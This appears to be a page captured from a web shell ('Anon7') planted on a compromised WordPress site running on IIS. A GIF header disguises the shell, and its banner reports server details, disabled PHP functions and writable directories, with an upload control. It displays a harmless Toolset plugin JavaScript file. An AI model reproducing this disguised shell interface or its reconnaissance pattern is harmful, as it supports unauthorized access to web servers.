GIF89A; .
KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Microsoft-IIS/10.0
System : Windows NT HMW9050 6.2 build 9200 (Unknow Windows version Standard Edition) i586
User : fatorc ( 0)
PHP Version : 5.3.28
Disable Function : escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate
Directory :  e:/home/fatorc/Web/wp-content/plugins/types/library/toolset/types/embedded/resources/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : e:/home/fatorc/Web/wp-content/plugins/types/library/toolset/types/embedded/resources/js/wp-views.js
/*
 * Toolset Views plugin.
 *
 * Loaded on Views or Views Template edit screens.
 */
var typesWPViews = (function(window, $){

    function openFrameForWizard( fieldID, metaType, postID, shortcode ) {
        var colorboxWidth = 750 + 'px';

        if ( !( jQuery.browser.msie && parseInt(jQuery.browser.version) < 9 ) ) {
            var documentWidth = jQuery(document).width();
            if ( documentWidth < 750 ) {
                colorboxWidth = 600 + 'px';
            }
        }

        var url = ajaxurl+'?action=wpcf_ajax&wpcf_action=editor_callback'
        + '&_typesnonce=' + types.wpnonce
        + '&callback=views_wizard'
        + '&field_id=' + fieldID
        + '&field_type=' + metaType
        + '&post_id=' + postID
        + '&shortcode=' + shortcode;

        jQuery.colorbox({
            href: url,
            iframe: true,
            inline : false,
            width: colorboxWidth,
            opacity: 0.7,
            closeButton: false
        });
    }
	
	function openFrameForAdminBar( fieldID, metaType, postID ) {
        var colorboxWidth = 750 + 'px';

        if ( !( jQuery.browser.msie && parseInt(jQuery.browser.version) < 9 ) ) {
            var documentWidth = jQuery(document).width();
            if ( documentWidth < 750 ) {
                colorboxWidth = 600 + 'px';
            }
        }

        var url = ajaxurl+'?action=wpcf_ajax&wpcf_action=editor_callback'
        + '&_typesnonce=' + types.wpnonce
        + '&callback=admin_bar'
        + '&field_id=' + fieldID
        + '&field_type=' + metaType
        + '&post_id=' + postID;

        jQuery.colorbox({
            href: url,
            iframe: true,
            inline : false,
            width: colorboxWidth,
            opacity: 0.7,
            closeButton: false
        });
    }

    return {
        wizardEditShortcode: function( fieldID, metaType, postID, shortcode ) {
            openFrameForWizard( fieldID, metaType, postID, shortcode );
        },
        wizardSendShortcode: function( shortcode ) {
            window.wpv_restore_wizard_popup(shortcode);
        },
		adminBarEditShortcode: function( fieldID, metaType, postID ) {
			openFrameForAdminBar( fieldID, metaType, postID );
		},
		adminBarCreateShortcode: function( shortcode ) {
			window.parent.jQuery.colorbox.close();
			$( document ).trigger( 'js_types_shortcode_created', shortcode );
		},
        wizardCancel: function() {
            window.wpv_cancel_wizard_popup();
        }
    };
})(window, jQuery, undefined);

Anon7 - 2021